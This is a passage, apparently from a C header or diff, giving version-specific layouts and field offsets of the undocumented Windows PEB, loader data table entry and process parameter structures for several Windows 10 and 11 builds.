_ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88 - PVOID Lock; //0x90 - LDR_DDAG_NODE* DdagNode; //0x98 - LIST_ENTRY NodeModuleLink; //0xa0 - struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0 - PVOID ParentDllBase; //0xb8 - PVOID SwitchBackContext; //0xc0 - RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8 - RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0 - ULONGLONG OriginalBase; //0xf8 - LARGE_INTEGER LoadTime; //0x100 - ULONG BaseNameHashValue; //0x108 - LDR_DLL_LOAD_REASON LoadReason; //0x10c - ULONG ImplicitPathOptions; //0x110 - ULONG ReferenceCount; //0x114 -} LDR_DATA_TABLE_ENTRY_1507, * PLDR_DATA_TABLE_ENTRY_1507; - -//0x120 bytes (sizeof) -typedef struct _LDR_DATA_TABLE_ENTRY_1607 -{ - LIST_ENTRY InLoadOrderLinks; //0x0 - LIST_ENTRY InMemoryOrderLinks; //0x10 - LIST_ENTRY InInitializationOrderLinks; //0x20 - PVOID DllBase; //0x30 - PVOID EntryPoint; //0x38 - ULONG SizeOfImage; //0x40 - UNICODE_STRING FullDllName; //0x48 - UNICODE_STRING BaseDllName; //0x58 - union - { - UCHAR FlagGroup[4]; //0x68 - ULONG Flags; //0x68 - struct - { - ULONG PackagedBinary : 1; //0x68 - ULONG MarkedForRemoval : 1; //0x68 - ULONG ImageDll : 1; //0x68 - ULONG LoadNotificationsSent : 1; //0x68 - ULONG TelemetryEntryProcessed : 1; //0x68 - ULONG ProcessStaticImport : 1; //0x68 - ULONG InLegacyLists : 1; //0x68 - ULONG InIndexes : 1; //0x68 - ULONG ShimDll : 1; //0x68 - ULONG InExceptionTable : 1; //0x68 - ULONG ReservedFlags1 : 2; //0x68 - ULONG LoadInProgress : 1; //0x68 - ULONG LoadConfigProcessed : 1; //0x68 - ULONG EntryProcessed : 1; //0x68 - ULONG ProtectDelayLoad : 1; //0x68 - ULONG ReservedFlags3 : 2; //0x68 - ULONG DontCallForThreads : 1; //0x68 - ULONG ProcessAttachCalled : 1; //0x68 - ULONG ProcessAttachFailed : 1; //0x68 - ULONG CorDeferredValidate : 1; //0x68 - ULONG CorImage : 1; //0x68 - ULONG DontRelocate : 1; //0x68 - ULONG CorILOnly : 1; //0x68 - ULONG ReservedFlags5 : 3; //0x68 - ULONG Redirected : 1; //0x68 - ULONG ReservedFlags6 : 2; //0x68 - ULONG CompatDatabaseProcessed : 1; //0x68 - }; - }; - USHORT ObsoleteLoadCount; //0x6c - USHORT TlsIndex; //0x6e - LIST_ENTRY HashLinks; //0x70 - ULONG TimeDateStamp; //0x80 - struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88 - PVOID Lock; //0x90 - LDR_DDAG_NODE* DdagNode; //0x98 - LIST_ENTRY NodeModuleLink; //0xa0 - struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0 - PVOID ParentDllBase; //0xb8 - PVOID SwitchBackContext; //0xc0 - RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8 - RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0 - ULONGLONG OriginalBase; //0xf8 - LARGE_INTEGER LoadTime; //0x100 - ULONG BaseNameHashValue; //0x108 - LDR_DLL_LOAD_REASON LoadReason; //0x10c - ULONG ImplicitPathOptions; //0x110 - ULONG ReferenceCount; //0x114 - ULONG DependentLoadFlags; //0x118 -} LDR_DATA_TABLE_ENTRY_1607, * PLDR_DATA_TABLE_ENTRY_1607; - -//0x138 bytes (sizeof) -typedef struct _LDR_DATA_TABLE_ENTRY_WIN11 -{ - LIST_ENTRY InLoadOrderLinks; //0x0 - LIST_ENTRY InMemoryOrderLinks; //0x10 - LIST_ENTRY InInitializationOrderLinks; //0x20 - PVOID DllBase; //0x30 - PVOID EntryPoint; //0x38 - ULONG SizeOfImage; //0x40 - UNICODE_STRING FullDllName; //0x48 - UNICODE_STRING BaseDllName; //0x58 - union - { - UCHAR FlagGroup[4]; //0x68 - ULONG Flags; //0x68 - struct - { - ULONG PackagedBinary : 1; //0x68 - ULONG MarkedForRemoval : 1; //0x68 - ULONG ImageDll : 1; //0x68 - ULONG LoadNotificationsSent : 1; //0x68 - ULONG TelemetryEntryProcessed : 1; //0x68 - ULONG ProcessStaticImport : 1; //0x68 - ULONG InLegacyLists : 1; //0x68 - ULONG InIndexes : 1; //0x68 - ULONG ShimDll : 1; //0x68 - ULONG InExceptionTable : 1; //0x68 - ULONG ReservedFlags1 : 2; //0x68 - ULONG LoadInProgress : 1; //0x68 - ULONG LoadConfigProcessed : 1; //0x68 - ULONG EntryProcessed : 1; //0x68 - ULONG ProtectDelayLoad : 1; //0x68 - ULONG ReservedFlags3 : 2; //0x68 - ULONG DontCallForThreads : 1; //0x68 - ULONG ProcessAttachCalled : 1; //0x68 - ULONG ProcessAttachFailed : 1; //0x68 - ULONG CorDeferredValidate : 1; //0x68 - ULONG CorImage : 1; //0x68 - ULONG DontRelocate : 1; //0x68 - ULONG CorILOnly : 1; //0x68 - ULONG ChpeImage : 1; //0x68 - ULONG ChpeEmulatorImage : 1; //0x68 - ULONG ReservedFlags5 : 1; //0x68 - ULONG Redirected : 1; //0x68 - ULONG ReservedFlags6 : 2; //0x68 - ULONG CompatDatabaseProcessed : 1; //0x68 - }; - }; - USHORT ObsoleteLoadCount; //0x6c - USHORT TlsIndex; //0x6e - LIST_ENTRY HashLinks; //0x70 - ULONG TimeDateStamp; //0x80 - struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88 - PVOID Lock; //0x90 - LDR_DDAG_NODE* DdagNode; //0x98 - LIST_ENTRY NodeModuleLink; //0xa0 - struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0 - PVOID ParentDllBase; //0xb8 - PVOID SwitchBackContext; //0xc0 - RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8 - RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0 - ULONGLONG OriginalBase; //0xf8 - LARGE_INTEGER LoadTime; //0x100 - ULONG BaseNameHashValue; //0x108 - LDR_DLL_LOAD_REASON LoadReason; //0x10c - ULONG ImplicitPathOptions; //0x110 - ULONG ReferenceCount; //0x114 - ULONG DependentLoadFlags; //0x118 - UCHAR SigningLevel; //0x11c - ULONG CheckSum; //0x120 - PVOID ActivePatchImageBase; //0x128 - LDR_HOT_PATCH_STATE HotPatchState; //0x130 -} LDR_DATA_TABLE_ENTRY_WIN11, * PLDR_DATA_TABLE_ENTRY_WIN11; - -//0x18 bytes (sizeof) -typedef struct _CURDIR -{ - UNICODE_STRING DosPath; //0x0 - VOID* Handle; //0x10 -} CURDIR, * PCURDIR; - -//0x18 bytes (sizeof) -typedef struct _RTL_DRIVE_LETTER_CURDIR -{ - USHORT Flags; //0x0 - USHORT Length; //0x2 - ULONG TimeStamp; //0x4 - STRING DosPath; //0x8 -} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR; - -//0x410 bytes (sizeof) -typedef struct _RTL_USER_PROCESS_PARAMETERS_1507 -{ - ULONG MaximumLength; //0x0 - ULONG Length; //0x4 - ULONG Flags; //0x8 - ULONG DebugFlags; //0xc - VOID* ConsoleHandle; //0x10 - ULONG ConsoleFlags; //0x18 - VOID* StandardInput; //0x20 - VOID* StandardOutput; //0x28 - VOID* StandardError; //0x30 - CURDIR CurrentDirectory; //0x38 - UNICODE_STRING DllPath; //0x50 - UNICODE_STRING ImagePathName; //0x60 - UNICODE_STRING CommandLine; //0x70 - VOID* Environment; //0x80 - ULONG StartingX; //0x88 - ULONG StartingY; //0x8c - ULONG CountX; //0x90 - ULONG CountY; //0x94 - ULONG CountCharsX; //0x98 - ULONG CountCharsY; //0x9c - ULONG FillAttribute; //0xa0 - ULONG WindowFlags; //0xa4 - ULONG ShowWindowFlags; //0xa8 - UNICODE_STRING WindowTitle; //0xb0 - UNICODE_STRING DesktopInfo; //0xc0 - UNICODE_STRING ShellInfo; //0xd0 - UNICODE_STRING RuntimeData; //0xe0 - RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; //0xf0 - ULONGLONG EnvironmentSize; //0x3f0 - ULONGLONG EnvironmentVersion; //0x3f8 - VOID* PackageDependencyData; //0x400 - ULONG ProcessGroupId; //0x408 - ULONG LoaderThreads; //0x40c -} RTL_USER_PROCESS_PARAMETERS_1507, * PRTL_USER_PROCESS_PARAMETERS_1507; - -//0x420 bytes (sizeof) -typedef struct _RTL_USER_PROCESS_PARAMETERS_1809 -{ - ULONG MaximumLength; //0x0 - ULONG Length; //0x4 - ULONG Flags; //0x8 - ULONG DebugFlags; //0xc - VOID* ConsoleHandle; //0x10 - ULONG ConsoleFlags; //0x18 - VOID* StandardInput; //0x20 - VOID* StandardOutput; //0x28 - VOID* StandardError; //0x30 - CURDIR CurrentDirectory; //0x38 - UNICODE_STRING DllPath; //0x50 - UNICODE_STRING ImagePathName; //0x60 - UNICODE_STRING CommandLine; //0x70 - VOID* Environment; //0x80 - ULONG StartingX; //0x88 - ULONG StartingY; //0x8c - ULONG CountX; //0x90 - ULONG CountY; //0x94 - ULONG CountCharsX; //0x98 - ULONG CountCharsY; //0x9c - ULONG FillAttribute; //0xa0 - ULONG WindowFlags; //0xa4 - ULONG ShowWindowFlags; //0xa8 - UNICODE_STRING WindowTitle; //0xb0 - UNICODE_STRING DesktopInfo; //0xc0 - UNICODE_STRING ShellInfo; //0xd0 - UNICODE_STRING RuntimeData; //0xe0 - RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; //0xf0 - ULONGLONG EnvironmentSize; //0x3f0 - ULONGLONG EnvironmentVersion; //0x3f8 - VOID* PackageDependencyData; //0x400 - ULONG ProcessGroupId; //0x408 - ULONG LoaderThreads; //0x40c - UNICODE_STRING RedirectionDllName; //0x410 -} RTL_USER_PROCESS_PARAMETERS_1809, * PRTL_USER_PROCESS_PARAMETERS_1809; - -//0x440 bytes (sizeof) -typedef struct _RTL_USER_PROCESS_PARAMETERS_1903 -{ - ULONG MaximumLength; //0x0 - ULONG Length; //0x4 - ULONG Flags; //0x8 - ULONG DebugFlags; //0xc - VOID* ConsoleHandle; //0x10 - ULONG ConsoleFlags; //0x18 - VOID* StandardInput; //0x20 - VOID* StandardOutput; //0x28 - VOID* StandardError; //0x30 - CURDIR CurrentDirectory; //0x38 - UNICODE_STRING DllPath; //0x50 - UNICODE_STRING ImagePathName; //0x60 - UNICODE_STRING CommandLine; //0x70 - VOID* Environment; //0x80 - ULONG StartingX; //0x88 - ULONG StartingY; //0x8c - ULONG CountX; //0x90 - ULONG CountY; //0x94 - ULONG CountCharsX; //0x98 - ULONG CountCharsY; //0x9c - ULONG FillAttribute; //0xa0 - ULONG WindowFlags; //0xa4 - ULONG ShowWindowFlags; //0xa8 - UNICODE_STRING WindowTitle; //0xb0 - UNICODE_STRING DesktopInfo; //0xc0 - UNICODE_STRING ShellInfo; //0xd0 - UNICODE_STRING RuntimeData; //0xe0 - RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; //0xf0 - ULONGLONG EnvironmentSize; //0x3f0 - ULONGLONG EnvironmentVersion; //0x3f8 - VOID* PackageDependencyData; //0x400 - ULONG ProcessGroupId; //0x408 - ULONG LoaderThreads; //0x40c - UNICODE_STRING RedirectionDllName; //0x410 - UNICODE_STRING HeapPartitionName; //0x420 - ULONGLONG* DefaultThreadpoolCpuSetMasks; //0x430 - ULONG DefaultThreadpoolCpuSetMaskCount; //0x438 - ULONG DefaultThreadpoolThreadMaximum; //0x43c -} RTL_USER_PROCESS_PARAMETERS_1903, * PRTL_USER_PROCESS_PARAMETERS_1903; - -//0x388 bytes (sizeof) -typedef struct _PEB_1507 -{ - UCHAR InheritedAddressSpace; //0x0 - UCHAR ReadImageFileExecOptions; //0x1 - UCHAR BeingDebugged; //0x2 - union - { - UCHAR BitField; //0x3 - struct - { - UCHAR ImageUsesLargePages : 1; //0x3 - UCHAR IsProtectedProcess : 1; //0x3 - UCHAR IsImageDynamicallyRelocated : 1; //0x3 - UCHAR SkipPatchingUser32Forwarders : 1; //0x3 - UCHAR IsPackagedProcess : 1; //0x3 - UCHAR IsAppContainer : 1; //0x3 - UCHAR IsProtectedProcessLight : 1; //0x3 - UCHAR SpareBits : 1; //0x3 - }; - }; - UCHAR Padding0[4]; //0x4 - PVOID Mutant; //0x8 - PVOID ImageBaseAddress; //0x10 - PEB_LDR_DATA* Ldr; //0x18 - RTL_USER_PROCESS_PARAMETERS_1507* ProcessParameters; //0x20 - PVOID SubSystemData; //0x28 - PVOID ProcessHeap; //0x30 - RTL_CRITICAL_SECTION* FastPebLock; //0x38 - PVOID AtlThunkSListPtr; //0x40 - PVOID IFEOKey; //0x48 - union - { - ULONG CrossProcessFlags; //0x50 - struct - { - ULONG ProcessInJob : 1; //0x50 - ULONG ProcessInitializing : 1; //0x50 - ULONG ProcessUsingVEH : 1; //0x50 - ULONG ProcessUsingVCH : 1; //0x50 - ULONG ProcessUsingFTH : 1; //0x50 - ULONG ReservedBits0 : 27; //0x50 - }; - }; - UCHAR Padding1[4]; //0x54 - union - { - PVOID KernelCallbackTable; //0x58 - PVOID UserSharedInfoPtr; //0x58 - }; - ULONG SystemReserved[1]; //0x60 - ULONG AtlThunkSListPtr32; //0x64 - PVOID ApiSetMap; //0x68 - ULONG TlsExpansionCounter; //0x70 - UCHAR Padding2[4]; //0x74 - PVOID TlsBitmap; //0x78 - ULONG TlsBitmapBits[2]; //0x80 - PVOID ReadOnlySharedMemoryBase; //0x88 - PVOID SparePvoid0; //0x90 - VOID** ReadOnlyStaticServerData; //0x98 - PVOID AnsiCodePageData; //0xa0 - PVOID OemCodePageData; //0xa8 - PVOID UnicodeCaseTableData; //0xb0 - ULONG NumberOfProcessors; //0xb8 - ULONG NtGlobalFlag; //0xbc - LARGE_INTEGER CriticalSectionTimeout; //0xc0 - ULONGLONG HeapSegmentReserve; //0xc8 - ULONGLONG HeapSegmentCommit; //0xd0 - ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8 - ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0 - ULONG NumberOfHeaps; //0xe8 - ULONG MaximumNumberOfHeaps; //0xec - VOID** ProcessHeaps; //0xf0 - PVOID GdiSharedHandleTable; //0xf8 - PVOID ProcessStarterHelper; //0x100 - ULONG GdiDCAttributeList; //0x108 - UCHAR Padding3[4]; //0x10c - RTL_CRITICAL_SECTION* LoaderLock; //0x110 - ULONG OSMajorVersion; //0x118 - ULONG OSMinorVersion; //0x11c - USHORT OSBuildNumber; //0x120 - USHORT OSCSDVersion; //0x122 - ULONG OSPlatformId; //0x124 - ULONG ImageSubsystem; //0x128 - ULONG ImageSubsystemMajorVersion; //0x12c - ULONG ImageSubsystemMinorVersion; //0x130 - UCHAR Padding4[4]; //0x134 - ULONGLONG ActiveProcessAffinityMask; //0x138 - ULONG GdiHandleBuffer[60]; //0x140 - VOID(*PostProcessInitRoutine)(); //0x230 - PVOID TlsExpansionBitmap; //0x238 - ULONG TlsExpansionBitmapBits[32]; //0x240 - ULONG SessionId; //0x2c0 - UCHAR Padding5[4]; //0x2c4 - ULARGE_INTEGER AppCompatFlags; //0x2c8 - ULARGE_INTEGER AppCompatFlagsUser; //0x2d0 - PVOID pShimData; //0x2d8 - PVOID AppCompatInfo; //0x2e0 - UNICODE_STRING CSDVersion; //0x2e8 - struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8 - struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300 - struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308 - struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310 - ULONGLONG MinimumStackCommit; //0x318 - struct _FLS_CALLBACK_INFO* FlsCallback; //0x320 - LIST_ENTRY FlsListHead; //0x328 - PVOID FlsBitmap; //0x338 - ULONG FlsBitmapBits[4]; //0x340 - ULONG FlsHighIndex; //0x350 - PVOID WerRegistrationData; //0x358 - PVOID WerShipAssertPtr; //0x360 - PVOID pUnused; //0x368 - PVOID pImageHeaderHash; //0x370 - union - { - ULONG TracingFlags; //0x378 - struct - { - ULONG HeapTracingEnabled : 1; //0x378 - ULONG CritSecTracingEnabled : 1; //0x378 - ULONG LibLoaderTracingEnabled : 1; //0x378 - ULONG SpareTracingBits : 29; //0x378 - }; - }; - UCHAR Padding6[4]; //0x37c - ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380 -} PEB_1507, * PPEB_1507; - -//0x7a0 bytes (sizeof) -typedef struct _PEB_1511 -{ - UCHAR InheritedAddressSpace; //0x0 - UCHAR ReadImageFileExecOptions; //0x1 - UCHAR BeingDebugged; //0x2 - union - { - UCHAR BitField; //0x3 - struct - { - UCHAR ImageUsesLargePages : 1; //0x3 - UCHAR IsProtectedProcess : 1; //0x3 - UCHAR IsImageDynamicallyRelocated : 1; //0x3 - UCHAR SkipPatchingUser32Forwarders : 1; //0x3 - UCHAR IsPackagedProcess : 1; //0x3 - UCHAR IsAppContainer : 1; //0x3 - UCHAR IsProtectedProcessLight : 1; //0x3 - UCHAR SpareBits : 1; //0x3 - }; - }; - UCHAR Padding0[4]; //0x4 - VOID* Mutant; //0x8 - VOID* ImageBaseAddress; //0x10 - PEB_LDR_DATA* Ldr; //0x18 - RTL_USER_PROCESS_PARAMETERS_1507* ProcessParameters; //0x20 - VOID* SubSystemData; //0x28 - VOID* ProcessHeap; //0x30 - RTL_CRITICAL_SECTION* FastPebLock; //0x38 - VOID* AtlThunkSListPtr; //0x40 - VOID* IFEOKey; //0x48 - union - { - ULONG CrossProcessFlags; //0x50 - struct - { - ULONG ProcessInJob : 1; //0x50 - ULONG ProcessInitializing : 1; //0x50 - ULONG ProcessUsingVEH : 1; //0x50 - ULONG ProcessUsingVCH : 1; //0x50 - ULONG ProcessUsingFTH : 1; //0x50 - ULONG ReservedBits0 : 27; //0x50 - }; - }; - UCHAR Padding1[4]; //0x54 - union - { - VOID* KernelCallbackTable; //0x58 - VOID* UserSharedInfoPtr; //0x58 - }; - ULONG SystemReserved[1]; //0x60 - ULONG AtlThunkSListPtr32; //0x64 - VOID* ApiSetMap; //0x68 - ULONG TlsExpansionCounter; //0x70 - UCHAR Padding2[4]; //0x74 - VOID* TlsBitmap; //0x78 - ULONG TlsBitmapBits[2]; //0x80 - VOID* ReadOnlySharedMemoryBase; //0x88 - VOID* SparePvoid0; //0x90 - VOID** ReadOnlyStaticServerData; //0x98 - VOID* AnsiCodePageData; //0xa0 - VOID* OemCodePageData; //0xa8 - VOID* UnicodeCaseTableData; //0xb0 - ULONG NumberOfProcessors; //0xb8 - ULONG NtGlobalFlag; //0xbc - LARGE_INTEGER CriticalSectionTimeout; //0xc0 - ULONGLONG HeapSegmentReserve; //0xc8 - ULONGLONG HeapSegmentCommit; //0xd0 - ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8 - ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0 - ULONG NumberOfHeaps; //0xe8 - ULONG MaximumNumberOfHeaps; //0xec - VOID** ProcessHeaps; //0xf0 - VOID* GdiSharedHandleTable; //0xf8 - VOID* ProcessStarterHelper; //0x100 - ULONG GdiDCAttributeList; //0x108 - UCHAR Padding3[4]; //0x10c - RTL_CRITICAL_SECTION* LoaderLock; //0x110 - ULONG OSMajorVersion; //0x118 - ULONG OSMinorVersion; //0x11c - USHORT OSBuildNumber; //0x120 - USHORT OSCSDVersion; //0x122 - ULONG OSPlatformId; //0x124 - ULONG ImageSubsystem; //0x128 - ULONG ImageSubsystemMajorVersion; //0x12c - ULONG ImageSubsystemMinorVersion; //0x130 - UCHAR Padding4[4]; //0x134 - ULONGLONG ActiveProcessAffinityMask; //0x138 - ULONG GdiHandleBuffer[60]; //0x140 - VOID(*PostProcessInitRoutine)(); //0x230 - VOID* TlsExpansionBitmap; //0x238 - ULONG TlsExpansionBitmapBits[32]; //0x240 - ULONG SessionId; //0x2c0 - UCHAR Padding5[4]; //0x2c4 - ULARGE_INTEGER AppCompatFlags; //0x2c8 - ULARGE_INTEGER AppCompatFlagsUser; //0x2d0 - VOID* pShimData; //0x2d8 - VOID* AppCompatInfo; //0x2e0 - UNICODE_STRING CSDVersion; //0x2e8 - struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8 - struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300 - struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308 - struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310 - ULONGLONG MinimumStackCommit; //0x318 - struct _FLS_CALLBACK_INFO* FlsCallback; //0x320 - LIST_ENTRY FlsListHead; //0x328 - VOID* FlsBitmap; //0x338 - ULONG FlsBitmapBits[4]; //0x340 - ULONG FlsHighIndex; //0x350 - VOID* WerRegistrationData; //0x358 - VOID* WerShipAssertPtr; //0x360 - VOID* pUnused; //0x368 - VOID* pImageHeaderHash; //0x370 - union - { - ULONG TracingFlags; //0x378 - struct - { - ULONG HeapTracingEnabled : 1; //0x378 - ULONG CritSecTracingEnabled : 1; //0x378 - ULONG LibLoaderTracingEnabled : 1; //0x378 - ULONG SpareTracingBits : 29; //0x378 - }; - }; - UCHAR Padding6[4]; //0x37c - ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380 - ULONGLONG TppWorkerpListLock; //0x388 - LIST_ENTRY TppWorkerpList; //0x390 - VOID* WaitOnAddressHashTable[128]; //0x3a0 -} PEB_1511, * PPEB_1511; - -//0x7b0 bytes (sizeof) -typedef struct _PEB_1709 -{ - UCHAR InheritedAddressSpace; //0x0 - UCHAR ReadImageFileExecOptions; //0x1 - UCHAR BeingDebugged; //0x2 - union - { - UCHAR BitField; //0x3 - struct - { - UCHAR ImageUsesLargePages : 1; //0x3 - UCHAR IsProtectedProcess : 1; //0x3 - UCHAR IsImageDynamicallyRelocated : 1; //0x3 - UCHAR SkipPatchingUser32Forwarders : 1; //0x3 - UCHAR IsPackagedProcess : 1; //0x3 - UCHAR IsAppContainer : 1; //0x3 - UCHAR IsProtectedProcessLight : 1; //0x3 - UCHAR IsLongPathAwareProcess : 1; //0x3 - }; - }; - UCHAR Padding0[4]; //0x4 - VOID* Mutant; //0x8 - VOID* ImageBaseAddress; //0x10 - PEB_LDR_DATA* Ldr; //0x18 - RTL_USER_PROCESS_PARAMETERS_1507* ProcessParameters; //0x20 - VOID* SubSystemData; //0x28 - VOID* ProcessHeap; //0x30 - RTL_CRITICAL_SECTION* FastPebLock; //0x38 - SLIST_HEADER* volatile AtlThunkSListPtr; //0x40 - VOID* IFEOKey; //0x48 - union - { - ULONG CrossProcessFlags; //0x50 - struct - { - ULONG ProcessInJob : 1; //0x50 - ULONG ProcessInitializing : 1; //0x50 - ULONG ProcessUsingVEH : 1; //0x50 - ULONG ProcessUsingVCH : 1; //0x50 - ULONG ProcessUsingFTH : 1; //0x50 - ULONG ProcessPreviouslyThrottled : 1; //0x50 - ULONG ProcessCurrentlyThrottled : 1; //0x50 - ULONG ReservedBits0 : 25; //0x50 - }; - }; - UCHAR Padding1[4]; //0x54 - union - { - VOID* KernelCallbackTable; //0x58 - VOID* UserSharedInfoPtr; //0x58 - }; - ULONG SystemReserved; //0x60 - ULONG AtlThunkSListPtr32; //0x64 - VOID* ApiSetMap; //0x68 - ULONG TlsExpansionCounter; //0x70 - UCHAR Padding2[4]; //0x74 - VOID* TlsBitmap; //0x78 - ULONG TlsBitmapBits[2]; //0x80 - VOID* ReadOnlySharedMemoryBase; //0x88 - VOID* SharedData; //0x90 - VOID** ReadOnlyStaticServerData; //0x98 - VOID* AnsiCodePageData; //0xa0 - VOID* OemCodePageData; //0xa8 - VOID* UnicodeCaseTableData; //0xb0 - ULONG NumberOfProcessors; //0xb8 - ULONG NtGlobalFlag; //0xbc - LARGE_INTEGER CriticalSectionTimeout; //0xc0 - ULONGLONG HeapSegmentReserve; //0xc8 - ULONGLONG HeapSegmentCommit; //0xd0 - ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8 - ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0 - ULONG NumberOfHeaps; //0xe8 - ULONG MaximumNumberOfHeaps; //0xec - VOID** ProcessHeaps; //0xf0 - VOID* GdiSharedHandleTable; //0xf8 - VOID* ProcessStarterHelper; //0x100 - ULONG GdiDCAttributeList; //0x108 - UCHAR Padding3[4]; //0x10c - RTL_CRITICAL_SECTION* LoaderLock; //0x110 - ULONG OSMajorVersion; //0x118 - ULONG OSMinorVersion; //0x11c - USHORT OSBuildNumber; //0x120 - USHORT OSCSDVersion; //0x122 - ULONG OSPlatformId; //0x124 - ULONG ImageSubsystem; //0x128 - ULONG ImageSubsystemMajorVersion; //0x12c - ULONG ImageSubsystemMinorVersion; //0x130 - UCHAR Padding4[4]; //0x134 - ULONGLONG ActiveProcessAffinityMask; //0x138 - ULONG GdiHandleBuffer[60]; //0x140 - VOID(*PostProcessInitRoutine)(); //0x230 - VOID* TlsExpansionBitmap; //0x238 - ULONG TlsExpansionBitmapBits[32]; //0x240 - ULONG SessionId; //0x2c0 - UCHAR Padding5[4]; //0x2c4 - ULARGE_INTEGER AppCompatFlags; //0x2c8 - ULARGE_INTEGER AppCompatFlagsUser; //0x2d0 - VOID* pShimData; //0x2d8 - VOID* AppCompatInfo; //0x2e0 - UNICODE_STRING CSDVersion; //0x2e8 - struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8 - struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300 - struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308 - struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310 - ULONGLONG MinimumStackCommit; //0x318 - struct _FLS_CALLBACK_INFO* FlsCallback; //0x320 - LIST_ENTRY FlsListHead; //0x328 - VOID* FlsBitmap; //0x338 - ULONG FlsBitmapBits[4]; //0x340 - ULONG FlsHighIndex; //0x350 - VOID* WerRegistrationData; //0x358 - VOID* WerShipAssertPtr; //0x360 - VOID* pUnused; //0x368 - VOID* pImageHeaderHash; //0x370 - union - { - ULONG TracingFlags; //0x378 - struct - { - ULONG HeapTracingEnabled : 1; //0x378 - ULONG CritSecTracingEnabled : 1; //0x378 - ULONG LibLoaderTracingEnabled : 1; //0x378 - ULONG SpareTracingBits : 29; //0x378 - }; - }; - UCHAR Padding6[4]; //0x37c - ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380 - ULONGLONG TppWorkerpListLock; //0x388 - LIST_ENTRY TppWorkerpList; //0x390 - VOID* WaitOnAddressHashTable[128]; //0x3a0 - VOID* TelemetryCoverageHeader; //0x7a0 - ULONG CloudFileFlags; //0x7a8 -} PEB_1709, * PPEB_1709; - -//0x7b8 bytes (sizeof) -typedef struct _PEB_1803 -{ - UCHAR InheritedAddressSpace; //0x0 - UCHAR ReadImageFileExecOptions; //0x1 - UCHAR BeingDebugged; //0x2 - union - { - UCHAR BitField; //0x3 - struct - { - UCHAR ImageUsesLargePages : 1; //0x3 - UCHAR IsProtectedProcess : 1; //0x3 - UCHAR IsImageDynamicallyRelocated : 1; //0x3 - UCHAR SkipPatchingUser32Forwarders : 1; //0x3 - UCHAR IsPackagedProcess : 1; //0x3 - UCHAR IsAppContainer : 1; //0x3 - UCHAR IsProtectedProcessLight : 1; //0x3 - UCHAR IsLongPathAwareProcess : 1; //0x3 - }; - }; - UCHAR Padding0[4]; //0x4 - VOID* Mutant; //0x8 - VOID* ImageBaseAddress; //0x10 - PEB_LDR_DATA* Ldr; //0x18 - RTL_USER_PROCESS_PARAMETERS_1507* ProcessParameters; //0x20 - VOID* SubSystemData; //0x28 - VOID* ProcessHeap; //0x30 - RTL_CRITICAL_SECTION* FastPebLock; //0x38 - SLIST_HEADER* volatile AtlThunkSListPtr; //0x40 - VOID* IFEOKey; //0x48 - union - { - ULONG CrossProcessFlags; //0x50 - struct - { - ULONG ProcessInJob : 1; //0x50 - ULONG ProcessInitializing : 1; //0x50 - ULONG ProcessUsingVEH : 1; //0x50 - ULONG ProcessUsingVCH : 1; //0x50 - ULONG ProcessUsingFTH : 1; //0x50 - ULONG ProcessPreviouslyThrottled : 1; //0x50 - ULONG ProcessCurrentlyThrottled : 1; //0x50 - ULONG ReservedBits0 : 25; //0x50 - }; - }; - UCHAR Padding1[4]; //0x54 - union - { - VOID* KernelCallbackTable; //0x58 - VOID* UserSharedInfoPtr; //0x58 - }; - ULONG SystemReserved; //0x60 - ULONG AtlThunkSListPtr32; //0x64 - VOID* ApiSetMap; //0x68 - ULONG TlsExpansionCounter; //0x70 - UCHAR Padding2[4]; //0x74 - VOID* TlsBitmap; //0x78 - ULONG TlsBitmapBits[2]; //0x80 - VOID* ReadOnlySharedMemoryBase; //0x88 - VOID* SharedData; //0x90 - VOID** ReadOnlyStaticServerData; //0x98 - VOID* AnsiCodePageData; //0xa0 - VOID* OemCodePageData; //0xa8 - VOID* UnicodeCaseTableData; //0xb0 - ULONG NumberOfProcessors; //0xb8 - ULONG NtGlobalFlag; //0xbc - LARGE_INTEGER CriticalSectionTimeout; //0xc0 - ULONGLONG HeapSegmentReserve; //0xc8 - ULONGLONG HeapSegmentCommit; //0xd0 - ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8 - ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0 - ULONG NumberOfHeaps; //0xe8 - ULONG MaximumNumberOfHeaps; //0xec - VOID** ProcessHeaps; //0xf0 - VOID* GdiSharedHandleTable; //0xf8 - VOID* ProcessStarterHelper; //0x100 - ULONG GdiDCAttributeList; //0x108 - UCHAR 